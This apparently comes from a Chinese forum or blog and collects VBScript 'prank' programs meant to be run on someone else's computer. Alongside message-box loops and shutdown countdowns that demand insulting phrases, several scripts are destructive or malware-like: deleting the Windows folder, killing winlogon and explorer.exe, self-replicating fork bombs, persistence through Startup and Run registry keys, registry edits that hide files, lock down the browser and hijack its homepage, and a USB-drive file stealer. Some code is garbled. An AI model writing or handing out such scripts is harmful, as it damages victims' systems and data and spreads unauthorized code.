一些很恶作剧的vbs程序代码

do
msgbox "hi"
loop

Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

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for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0

set ws=CreateObject("Wscript.Shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe

for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密码验证成功，enjoy the best!"
exit do
else
msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57
ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示："
wscript.sleep 1000*45
loop

set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 332"

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
next

dim a,b,c,s
Set fs=CreateObject("Scripting.FileSystemObject")
name = WScript.ScriptName
fullname = WScript.ScriptFullName
path = Replace(fullname,name,"")
a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：")
If MyVar=vbYes Then
ElseIf MyVar=vbNo Then
a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
End If
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好")
If b = ""Then
WScript.Quit
End If
wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02")
If c = ""Then
WScript.Quit
End If
wscript.sleep 1000age = abs(datediff("d",date,c))
wscript.sleep 1
current = now()
h=datepart("h",current)
n=datepart("n",current)
WScript.Sleep 1000
s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：")
if s=2 then
end if
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)
auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍："""
auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&""

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true)
auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."
auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"
auto.WriteLine "时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"

dim a
a=10
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 100
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"

do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc，否则关机。")
if a="abc" then
msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"
exit do
else
msgbox"乖点，输入abc"
end if
loop

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "

msgbox"你是不是很无聊啊？",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧！"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗？"
loop

on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "QUESTION.vbS"
Key_data = "C:\windows\system32\QUESTION.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "儿子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾

i = MsgBox("由于你灌水太水需要爆破电脑。"&_
vbCrLf&"确定爆破吗？",vbOKCancel,_
"爆破电脑系统！！！！！")
if i = 1 then
CreateObject("SAPI.SpVoice").Speak "bone"
end if

On Error Resume Next
Dim i
i=0

Set fso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")
ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")
MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")
fso.CreateFolder(MyFolder)
Do
WScript.Sleep 1000
If fso.FolderExists(IP & "\") Then Exit Do
Loop

Scan(IP & "\")

Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files

For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
i=i+1
fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
End If
Next

Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
Next
End Sub

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
Dim a
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder ("C:\WINDOWS")

msgbox"让你见识一下啥叫狠毒！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop

on error resume next
msgbox"即将格式化！请做好准备！",vbyesno
msgbox"准备好后点yes！"，vbyesno
msgbox"sorry，忘说了，点no也行！"
msgbox"我对不起你啊！呜呜呜555哈哈哈哈！"
msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"
msgbox"被人研究！"
msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"
msgbox"你咋还笑？！是时候惩罚你了！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop

set s.createobject("wscript.shell")
lsfile=wscript.scriptfullname '获得自己的名称
do '死循环
s.run lsfile '自己运行自己
s.run "notepad" '运行记事本
loop '几秒就死机，哈

dim a
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"

dim a
a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if

if msgbox("这是被封印的东西",65,"警告！！！") = 1 then
if msgbox("请不要一意孤行",65,"警告！！！") =1 then
if msgbox("不要再按了！！",65,"警告！！！") =1 then
if msgbox("气死我了.....",65,"警告！！！") =1 then
if msgbox("既然这样...那么这个东西就归你了！",65,"祝你愉快！886") =1 then
msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快！886"
msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了！！！！",65,"封印解除！！"
on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)

wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0
Do While answer<>"我是猪"
answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000)
Loop
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈，好玩不?",,"哈哈哈"